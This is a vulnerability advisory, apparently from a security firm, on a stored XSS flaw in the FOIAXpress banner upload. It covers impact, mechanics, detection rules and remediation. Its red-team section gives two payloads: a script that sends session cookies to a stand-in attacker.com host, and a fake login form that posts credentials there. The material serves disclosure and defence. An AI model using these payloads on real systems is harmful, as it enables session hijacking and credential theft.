CVE-2025-61997

Executive Summary

CVE-2025-61997 is a stored Cross-Site Scripting (XSS) vulnerability in OPEXUS FOIAXpress, specifically within the Annual Report Enterprise module. An authenticated administrative user can inject arbitrary JavaScript or other content into the Enterprise Banner image upload field. This injected content is then executed in the context of other users when they generate an Annual Report. Successful exploitation allows the administrative user to perform actions on behalf of the target, including stealing session cookies, user credentials, or sensitive data. The vulnerability is unpatched in versions prior to 11.13.3.0.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 8.0 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - An administrative user account is required to inject the payload.
• User Interaction (UI): Required (R) - A non-admin user must generate an Annual Report to trigger the payload.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): High (H) - An attacker can steal session cookies and credentials.
• Integrity (I): High (H) - An attacker can perform actions on behalf of the victim.
• Availability (A): High (H) - An attacker could potentially disrupt the application.

Threat Level: High. While exploitation requires administrative privileges for injection, the impact on confidentiality, integrity, and availability is severe. The attack chain is straightforward and can lead to full account takeover of any user who generates a report.

Deep Dive & Mechanics

The vulnerability resides in the Annual Report Enterprise module's image upload functionality. The application fails to properly sanitize or validate the content of the "Enterprise Banner" image upload field. An administrative user can upload a file that, instead of a legitimate image, contains embedded JavaScript or HTML. This malicious content is stored in the application's database or file system.

When a non-administrative user generates an Annual Report, the application retrieves and renders the banner content without proper output encoding. The injected script executes in the victim's browser within the security context of the FOIAXpress application. This allows the attacker to:

1. Steal Session Cookies: Access document.cookie and exfiltrate it to an attacker-controlled server.
2. Capture Credentials: Present a fake login form or use keylogging to capture user credentials.
3. Perform Actions on Behalf of the Victim: Use the victim's session to make API calls, modify data, or escalate privileges.

The attack chain is:

1. Attacker (admin) logs in.
2. Attacker navigates to the Annual Report Enterprise configuration.
3. Attacker uploads a malicious file (e.g., banner.html) containing JavaScript.
4. Victim (non-admin) logs in and generates an Annual Report.
5. The malicious script executes in the victim's browser.
6. Attacker receives stolen data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely does not sanitize the uploaded file content or does not properly encode it when rendering.

// Vulnerable: Directly rendering user-uploaded content
function renderBanner(bannerContent) {
    document.getElementById('banner').innerHTML = bannerContent;
}

Patched Code (Conceptual): The patched code should validate the uploaded file (e.g., check MIME type, use a whitelist of allowed file extensions) and sanitize the output by encoding HTML entities.

// Patched: Sanitize and encode output
function renderBanner(bannerContent) {
    const sanitizedContent = DOMPurify.sanitize(bannerContent);
    document.getElementById('banner').innerHTML = sanitizedContent;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative access to OPEXUS FOIAXpress (version < 11.13.3.0).
• A non-admin user account to trigger the payload.

Steps:

1. Log in as an administrative user.
2. Navigate to the Annual Report Enterprise configuration.
3. Create a file named banner.html with the following content:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

4. Upload this file as the Enterprise Banner image.
5. Log out and log in as a non-admin user.
6. Generate an Annual Report.
7. The script executes, sending the victim's session cookie to the attacker's server.

Alternative Payload (Credential Theft):

<script>
document.body.innerHTML = '<form method="POST" action="https://attacker.com/login"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form>';
</script>

Blue Team

Detection:

• Monitor for unusual file uploads to the Annual Report Enterprise module, especially files with .html, .js, or .svg extensions.
• Monitor for outbound connections to unknown or suspicious domains from the FOIAXpress application server.
• Review web server logs for requests to /steal or similar endpoints.

Prevention:

• Implement strict file upload validation: only allow image MIME types (e.g., image/png, image/jpeg).
• Use a Content Security Policy (CSP) to restrict script execution.
• Apply input validation and output encoding to all user-supplied data.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker.com or similar domains.
  • Suspicious GET requests with cookie data in the URL.
• File IOCs:
  • Files with .html, .js, or .svg extensions uploaded to the Annual Report Enterprise module.
  • Files containing <script> tags in the upload directory.
• Log IOCs:
  • Web server logs showing POST requests to /AnnualReport/UploadBanner with unusual file types.
  • Application logs showing failed MIME type validation attempts.

Detection Engineering

YARA Rule

rule CVE_2025_61997_Stored_XSS {
    meta:
        description = "Detects malicious files uploaded for CVE-2025-61997"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61997"
    strings:
        $script = /<script[\s>]/ nocase
        $onerror = /onerror\s*=/ nocase
        $onload = /onload\s*=/ nocase
        $svg = /<svg[\s>]/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-61997 - Stored XSS via Enterprise Banner Upload
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects file uploads to the Annual Report Enterprise module that may contain malicious scripts.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/AnnualReport/UploadBanner'
        cs-uri-query|contains: 
            - '.html'
            - '.js'
            - '.svg'
    condition: selection
falsepositives:
    - Legitimate HTML or SVG files used for branding.
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61997 - Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Upgrade to OPEXUS FOIAXpress version 11.13.3.0 or later.
2. Restrict Uploads: If immediate patching is not possible, restrict file uploads to only image MIME types (e.g., image/png, image/jpeg, image/gif).
3. Web Application Firewall (WAF): Deploy WAF rules to block file uploads containing <script> tags or suspicious content.

Long-Term Actions:

1. Input Validation: Implement strict input validation on all file upload fields.
2. Output Encoding: Ensure all user-supplied data is properly encoded before rendering.
3. Content Security Policy (CSP): Implement a strict CSP to prevent execution of inline scripts.
4. Regular Security Audits: Conduct regular security audits and penetration testing.

Valters IT